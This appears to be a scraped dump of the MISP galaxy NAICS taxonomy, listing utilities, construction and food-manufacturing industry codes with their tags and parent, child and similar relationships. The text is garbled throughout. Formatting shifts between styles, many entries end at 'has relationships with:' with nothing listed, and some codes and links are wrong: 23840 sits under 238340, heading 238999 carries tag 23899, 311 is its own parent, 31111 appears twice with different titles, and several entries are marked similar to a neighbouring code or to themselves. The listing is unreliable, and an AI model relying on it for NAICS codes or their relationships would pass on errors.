22118 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

**22112**

Electric Power Transmission, Control, and Distribution

The tag is: misp-galaxy:naics="22112"

View relationships graph

22112 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

**221121**

Electric Bulk Power Transmission and Control

The tag is: misp-galaxy:naics="221121"

View relationships graph

221121 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

**221122**

Electric Power Distribution

The tag is: misp-galaxy:naics="221122"

View relationships graph

221122 has relationships with:
2212
Natural Gas Distribution
The tag is: misp-galaxy:naics="2212"
View relationships graph
2212 has relationships with:
  - child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="22121" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="221210" with estimative-language:likelihood-probability="likely"

22121
Natural Gas Distribution
The tag is: misp-galaxy:naics="22121"
View relationships graph
22121 has relationships with:
  - child-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
  - similar: misp-galaxy:naics="221210" with estimative-language:likelihood-probability="likely"

221210
Natural Gas Distribution
The tag is: misp-galaxy:naics="221210"
View relationships graph
221210 has relationships with:
  - child-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
  - similar: misp-galaxy:naics="22121" with estimative-language:likelihood-probability="likely"

2213
Water, Sewage and Other Systems
The tag is: misp-galaxy:naics="2213"
2213 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221330" with estimative-language:likelihood-probability="likely"

**22131**

Water Supply and Irrigation Systems

The tag is: *misp-galaxy:naics="22131"

**View relationships graph**

22131 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="221310" with estimative-language:likelihood-probability="likely"

**221310**

Water Supply and Irrigation Systems

The tag is: *misp-galaxy:naics="221310"

**View relationships graph**

221310 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="22131" with estimative-language:likelihood-probability="likely"

**22132**

Sewage Treatment Facilities

The tag is: *misp-galaxy:naics="22132"

**View relationships graph**

22132 has relationships with:
• child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="221320" with estimative-language:likelihood-probability="likely"

221320

Sewage Treatment Facilities

The tag is: misp-galaxy:naics="221320"

View relationships graph

221320 has relationships with:

• child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="22132" with estimative-language:likelihood-probability="likely"

22133

Steam and Air-Conditioning Supply

The tag is: misp-galaxy:naics="22133"

View relationships graph

22133 has relationships with:

• child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="221330" with estimative-language:likelihood-probability="likely"

221330

Steam and Air-Conditioning Supply

The tag is: misp-galaxy:naics="221330"

View relationships graph

221330 has relationships with:

• child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="22133" with estimative-language:likelihood-probability="likely"

23

Construction

The tag is: misp-galaxy:naics="23"
View relationships graph

23 has relationships with:

• parent-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"

236

Construction of Buildings

The tag is: misp-galaxy:naics="236"

View relationships graph

236 has relationships with:

• child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"

2361

Residential Building Construction

The tag is: misp-galaxy:naics="2361"

View relationships graph

2361 has relationships with:

• child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="236115" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="236116" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="236117" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="236118" with estimative-language:likelihood-probability="likely"

23611

Residential Building Construction

The tag is: misp-galaxy:naics="23611"

View relationships graph
23611 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236115
New Single-Family Housing Construction (except For-Sale Builders)
The tag is: misp-galaxy:naics="236115"

View relationships graph

236115 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236116
New Multifamily Housing Construction (except For-Sale Builders)
The tag is: misp-galaxy:naics="236116"

View relationships graph

236116 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236117
New Housing For-Sale Builders
The tag is: misp-galaxy:naics="236117"

View relationships graph

236117 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236118
Residential Remodelers
The tag is: misp-galaxy:naics="236118"

View relationships graph

236118 has relationships with:
2362
Nonresidential Building Construction

The tag is: misp-galaxy:naics="2362"

View relationships graph

2362 has relationships with:

- child-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236220" with estimative-language:likelihood-probability="likely"

23621
Industrial Building Construction

The tag is: misp-galaxy:naics="23621"

View relationships graph

23621 has relationships with:

- child-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="236210" with estimative-language:likelihood-probability="likely"

236210
Industrial Building Construction

The tag is: misp-galaxy:naics="236210"

View relationships graph

236210 has relationships with:

- child-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23621" with estimative-language:likelihood-probability="likely"

23622
Commercial and Institutional Building Construction
The tag is: `misp-galaxy:naics="23622"`

**View relationships graph**

23622 has relationships with:

- child-of: `misp-galaxy:naics="2362"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="236220"` with estimative-language:likelihood-probability="likely"

**236220**

Commercial and Institutional Building Construction

The tag is: `misp-galaxy:naics="236220"`

**View relationships graph**

236220 has relationships with:

- child-of: `misp-galaxy:naics="2362"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="23622"` with estimative-language:likelihood-probability="likely"

**237**

Heavy and Civil Engineering Construction

The tag is: `misp-galaxy:naics="237"`

**View relationships graph**

237 has relationships with:

- child-of: `misp-galaxy:naics="23"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="2379"` with estimative-language:likelihood-probability="likely"

**2371**

Utility System Construction

The tag is: `misp-galaxy:naics="2371"`

**View relationships graph**

2371 has relationships with:
23711
Water and Sewer Line and Related Structures Construction
The tag is: misp-galaxy:naics="23711"
View relationships graph

237110
Water and Sewer Line and Related Structures Construction
The tag is: misp-galaxy:naics="237110"
View relationships graph

23712
Oil and Gas Pipeline and Related Structures Construction
The tag is: misp-galaxy:naics="23712"
View relationships graph
237120
Oil and Gas Pipeline and Related Structures Construction
The tag is: misp-galaxy:naics="237120"

View relationships graph
237120 has relationships with:

• child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23712" with estimative-language:likelihood-probability="likely"

23713
Power and Communication Line and Related Structures Construction
The tag is: misp-galaxy:naics="23713"

View relationships graph
23713 has relationships with:

• child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="237130" with estimative-language:likelihood-probability="likely"

237130
Power and Communication Line and Related Structures Construction
The tag is: misp-galaxy:naics="237130"

View relationships graph
237130 has relationships with:

• child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23713" with estimative-language:likelihood-probability="likely"

2372
Land Subdivision
The tag is: misp-galaxy:naics="2372"

View relationships graph
2372 has relationships with:
• child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23721" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="237210" with estimative-language:likelihood-probability="likely"

23721

Land Subdivision

The tag is: misp-galaxy:naics="23721"

View relationships graph

23721 has relationships with:

• child-of: misp-galaxy:naics="2372" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="237210" with estimative-language:likelihood-probability="likely"

237210

Land Subdivision

The tag is: misp-galaxy:naics="237210"

View relationships graph

237210 has relationships with:

• child-of: misp-galaxy:naics="2372" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23721" with estimative-language:likelihood-probability="likely"

2373

Highway, Street, and Bridge Construction

The tag is: misp-galaxy:naics="2373"

View relationships graph

2373 has relationships with:

• child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23731" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="237310" with estimative-language:likelihood-probability="likely"

23731

Highway, Street, and Bridge Construction
The tag is: misp-galaxy:naics="23731"

View relationships graph

23731 has relationships with:

- child-of: misp-galaxy:naics="2373" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237310" with estimative-language:likelihood-probability="likely"

237310

Highway, Street, and Bridge Construction

The tag is: misp-galaxy:naics="237310"

View relationships graph

237310 has relationships with:

- child-of: misp-galaxy:naics="2373" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23731" with estimative-language:likelihood-probability="likely"

2379

Other Heavy and Civil Engineering Construction

The tag is: misp-galaxy:naics="2379"

View relationships graph

2379 has relationships with:

- child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23799" with estimative-language:likelihood-probability="likely"

23799

Other Heavy and Civil Engineering Construction

The tag is: misp-galaxy:naics="23799"

View relationships graph

23799 has relationships with:

- child-of: misp-galaxy:naics="2379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237990" with estimative-language:likelihood-probability="likely"
237990
Other Heavy and Civil Engineering Construction

The tag is: misp-galaxy:naics="237990"

View relationships graph

237990 has relationships with:

• child-of: misp-galaxy:naics="2379" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23799" with estimative-language:likelihood-probability="likely"

238
Specialty Trade Contractors

The tag is: misp-galaxy:naics="238"

View relationships graph

238 has relationships with:

• child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"

2381
Foundation, Structure, and Building Exterior Contractors

The tag is: misp-galaxy:naics="2381"

View relationships graph

2381 has relationships with:

• child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23811" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23812" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23813" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238130" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23814" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238140" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23815" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238150" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23816" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238160" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23817" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238170" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23819" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238190" with estimative-language:likelihood-probability="likely"

23811

Poured Concrete Foundation and Structure Contractors

The tag is: misp-galaxy:naics="23811"

View relationships graph

23811 has relationships with:

• child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="238110" with estimative-language:likelihood-probability="likely"

238110

Poured Concrete Foundation and Structure Contractors

The tag is: misp-galaxy:naics="238110"

View relationships graph

238110 has relationships with:

• child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="238110" with estimative-language:likelihood-probability="likely"

23812

Structural Steel and Precast Concrete Contractors

The tag is: misp-galaxy:naics="23812"
23812 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238120" with estimative-language:likelihood-probability="likely"

238120

Structural Steel and Precast Concrete Contractors

The tag is: misp-galaxy:naics="238120"

23813 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238130" with estimative-language:likelihood-probability="likely"

238130

Framing Contractors

The tag is: misp-galaxy:naics="238130"
23814
Masonry Contractors

The tag is: misp-galaxy:naics="23814"

View relationships graph

23814 has relationships with:

• child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="238140" with estimative-language:likelihood-probability="likely"

238140
Masonry Contractors

The tag is: misp-galaxy:naics="238140"

View relationships graph

238140 has relationships with:

• child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23814" with estimative-language:likelihood-probability="likely"

23815
Glass and Glazing Contractors

The tag is: misp-galaxy:naics="23815"

View relationships graph

23815 has relationships with:

• child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="238150" with estimative-language:likelihood-probability="likely"

238150
Glass and Glazing Contractors

The tag is: misp-galaxy:naics="238150"

View relationships graph

238150 has relationships with:
23816
Roofing Contractors
The tag is: misp-galaxy:naics="23816"

View relationships graph

23816 has relationships with:
  • child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="23815" with estimative-language:likelihood-probability="likely"

238160
Roofing Contractors
The tag is: misp-galaxy:naics="238160"

View relationships graph

238160 has relationships with:
  • child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="23816" with estimative-language:likelihood-probability="likely"

23817
Siding Contractors
The tag is: misp-galaxy:naics="23817"

View relationships graph

23817 has relationships with:
  • child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="238170" with estimative-language:likelihood-probability="likely"

238170
Siding Contractors
The tag is: misp-galaxy:naics="238170"
238170 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23817" with estimative-language:likelihood-probability="likely"

23819

Other Foundation, Structure, and Building Exterior Contractors

The tag is: misp-galaxy:naics="23819"

238190

Other Foundation, Structure, and Building Exterior Contractors

The tag is: misp-galaxy:naics="238190"

2382

Building Equipment Contractors

The tag is: misp-galaxy:naics="2382"
• parent-of: misp-galaxy:naics="238220" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="23829" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="238290" with estimative-language:likelihood-probability="likely"

23821
Electrical Contractors and Other Wiring Installation Contractors
The tag is: misp-galaxy:naics="23821"
View relationships graph

23821 has relationships with:
• child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="238210" with estimative-language:likelihood-probability="likely"

238210
Electrical Contractors and Other Wiring Installation Contractors
The tag is: misp-galaxy:naics="238210"
View relationships graph

238210 has relationships with:
• child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23821" with estimative-language:likelihood-probability="likely"

23822
Plumbing, Heating, and Air-Conditioning Contractors
The tag is: misp-galaxy:naics="23822"
View relationships graph

23822 has relationships with:
• child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="23821" with estimative-language:likelihood-probability="likely"

238220
Plumbing, Heating, and Air-Conditioning Contractors
The tag is: misp-galaxy:naics="238220"
View relationships graph

238220 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23822" with estimative-language:likelihood-probability="likely"

23829

Other Building Equipment Contractors

The tag is: misp-galaxy:naics="23829"

View relationships graph

23829 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238290" with estimative-language:likelihood-probability="likely"

238290

Other Building Equipment Contractors

The tag is: misp-galaxy:naics="238290"

View relationships graph

238290 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23829" with estimative-language:likelihood-probability="likely"

2383

Building Finishing Contractors

The tag is: misp-galaxy:naics="2383"

View relationships graph

2383 has relationships with:

- child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23832" with estimative-language:likelihood-probability="likely"
23831
Drywall and Insulation Contractors
The tag is: misp-galaxy:naics="23831"
View relationships graph
23831 has relationships with:
  • child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="238310" with estimative-language:likelihood-probability="likely"

238310
Drywall and Insulation Contractors
The tag is: misp-galaxy:naics="238310"
View relationships graph
238310 has relationships with:
  • child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="23831" with estimative-language:likelihood-probability="likely"

23832
Painting and Wall Covering Contractors
The tag is: misp-galaxy:naics="23832"
View relationships graph
23832 has relationships with:
238320
Painting and Wall Covering Contractors
The tag is: $misp-galaxy:naics=238320$
View relationships graph
238320 has relationships with:

- child-of: $misp-galaxy:naics=2383$ with estimative-language:likelihood-probability="likely"
- similar: $misp-galaxy:naics=238320$ with estimative-language:likelihood-probability="likely"

23833
Flooring Contractors
The tag is: $misp-galaxy:naics=23833$
View relationships graph
23833 has relationships with:

- child-of: $misp-galaxy:naics=2383$ with estimative-language:likelihood-probability="likely"
- similar: $misp-galaxy:naics=238330$ with estimative-language:likelihood-probability="likely"

238330
Flooring Contractors
The tag is: $misp-galaxy:naics=238330$
View relationships graph
238330 has relationships with:

- child-of: $misp-galaxy:naics=2383$ with estimative-language:likelihood-probability="likely"
- similar: $misp-galaxy:naics=23833$ with estimative-language:likelihood-probability="likely"

23834
Tile and Terrazzo Contractors
The tag is: $misp-galaxy:naics=23834$
23834 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238340" with estimative-language:likelihood-probability="likely"

**238340**

Tile and Terrazzo Contractors

The tag is: misp-galaxy:naics="238340"

23840 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23834" with estimative-language:likelihood-probability="likely"

**23835**

Finish Carpentry Contractors

The tag is: misp-galaxy:naics="23835"

23835 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238350" with estimative-language:likelihood-probability="likely"

**238350**

Finish Carpentry Contractors

The tag is: misp-galaxy:naics="238350"

238350 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23835" with estimative-language:likelihood-probability="likely"
23839
Other Building Finishing Contractors
The tag is: misp-galaxy:naics="23839"
View relationships graph
23839 has relationships with:
  • child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="238390" with estimative-language:likelihood-probability="likely"

238390
Other Building Finishing Contractors
The tag is: misp-galaxy:naics="238390"
View relationships graph
238390 has relationships with:
  • child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="23839" with estimative-language:likelihood-probability="likely"

2389
Other Specialty Trade Contractors
The tag is: misp-galaxy:naics="2389"
View relationships graph
2389 has relationships with:
  • child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="23891" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="238910" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="23899" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="238990" with estimative-language:likelihood-probability="likely"

23891
Site Preparation Contractors
The tag is: misp-galaxy:naics="23891"
23891 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238910" with estimative-language:likelihood-probability="likely"

238910

Site Preparation Contractors

The tag is: misp-galaxy:naics="238910"

23899 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238990" with estimative-language:likelihood-probability="likely"

238999

All Other Specialty Trade Contractors

The tag is: misp-galaxy:naics="23899"

238990 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238990" with estimative-language:likelihood-probability="likely"
**31-33**

Manufacturing

The tag is: `misp-galaxy:naics="31-33"`

---

**311**

Food Manufacturing

The tag is: `misp-galaxy:naics="311"`

View relationships graph

311 has relationships with:

- parent-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3112"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3113"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3114"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3115"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3116"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3117"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3118"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3119"` with estimative-language:likelihood-probability="likely"

---

**3111**

Animal Food Manufacturing

The tag is: `misp-galaxy:naics="3111"`

View relationships graph

3111 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311119"` with estimative-language:likelihood-probability="likely"

---

**31111**

Animal Food Manufacturing
The tag is: `misp-galaxy:naics="31111"`

View relationships graph

31111 has relationships with:

- child-of: `misp-galaxy:naics="3111"` with estimative-language:likelihood-probability="likely"

**31111**

Dog and Cat Food Manufacturing

The tag is: `misp-galaxy:naics="31111"`

View relationships graph

31111 has relationships with:

- child-of: `misp-galaxy:naics="3111"` with estimative-language:likelihood-probability="likely"

**31119**

Other Animal Food Manufacturing

The tag is: `misp-galaxy:naics="31119"`

View relationships graph

31119 has relationships with:

- child-of: `misp-galaxy:naics="3111"` with estimative-language:likelihood-probability="likely"

**3112**

Grain and Oilseed Milling

The tag is: `misp-galaxy:naics="3112"`

View relationships graph

3112 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31121"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311211"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311212"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311213"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31122"` with estimative-language:likelihood-probability="likely"
31121
Flour Milling and Malt Manufacturing

The tag is: misp-galaxy:naics="31121"

View relationships graph

31121 has relationships with:

• child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311211
Flour Milling

The tag is: misp-galaxy:naics="311211"

View relationships graph

311211 has relationships with:

• child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311212
Rice Milling

The tag is: misp-galaxy:naics="311212"

View relationships graph

311212 has relationships with:

• child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311213
Malt Manufacturing

The tag is: misp-galaxy:naics="311213"
311213 has relationships with:
  • child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

31122
Starch and Vegetable Fats and Oils Manufacturing
The tag is: misp-galaxy:naics="31122"

311221
Wet Corn Milling and Starch Manufacturing
The tag is: misp-galaxy:naics="311221"

311224
Soybean and Other Oilseed Processing
The tag is: misp-galaxy:naics="311224"

311225
Fats and Oils Refining and Blending
The tag is: misp-galaxy:naics="311225"
311225 has relationships with:
  • child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

31123
Breakfast Cereal Manufacturing
The tag is: misp-galaxy:naics="31123"
View relationships graph

31123 has relationships with:
  • child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="311230" with estimative-language:likelihood-probability="likely"

311230
Breakfast Cereal Manufacturing
The tag is: misp-galaxy:naics="311230"
View relationships graph

311230 has relationships with:
  • child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="31123" with estimative-language:likelihood-probability="likely"

3113
Sugar and Confectionery Product Manufacturing
The tag is: misp-galaxy:naics="3113"
View relationships graph

3113 has relationships with:
  • child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31131" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311313" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311314" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31134" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311340" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31135" with estimative-language:likelihood-probability="likely"
31131
Sugar Manufacturing
The tag is: misp-galaxy:naics="31131"
View relationships graph
31131 has relationships with:
  • child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311313
Beet Sugar Manufacturing
The tag is: misp-galaxy:naics="311313"
View relationships graph
311313 has relationships with:
  • child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311314
Cane Sugar Manufacturing
The tag is: misp-galaxy:naics="311314"
View relationships graph
311314 has relationships with:
  • child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

31134
Nonchocolate Confectionery Manufacturing
The tag is: misp-galaxy:naics="31134"
View relationships graph
31134 has relationships with:
  • child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"
311340
Nonchocolate Confectionery Manufacturing
The tag is: *misp-galaxy:naics="311340"*

View relationships graph

311340 has relationships with:

- child-of: *misp-galaxy:naics="3113"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="31134"* with estimative-language:likelihood-probability="likely"

31135
Chocolate and Confectionery Manufacturing
The tag is: *misp-galaxy:naics="31135"*

View relationships graph

31135 has relationships with:

- child-of: *misp-galaxy:naics="3113"* with estimative-language:likelihood-probability="likely"

311351
Chocolate and Confectionery Manufacturing from Cacao Beans
The tag is: *misp-galaxy:naics="311351"*

View relationships graph

311351 has relationships with:

- child-of: *misp-galaxy:naics="3113"* with estimative-language:likelihood-probability="likely"

311352
Confectionery Manufacturing from Purchased Chocolate
The tag is: *misp-galaxy:naics="311352"*

View relationships graph

311352 has relationships with:

- child-of: *misp-galaxy:naics="3113"* with estimative-language:likelihood-probability="likely"
3114

Fruit and Vegetable Preserving and Specialty Food Manufacturing

The tag is: misp-galaxy:naics="3114"

View relationships graph

3114 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311423" with estimative-language:likelihood-probability="likely"

31141

Frozen Food Manufacturing

The tag is: misp-galaxy:naics="31141"

View relationships graph

31141 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311411

Frozen Fruit, Juice, and Vegetable Manufacturing

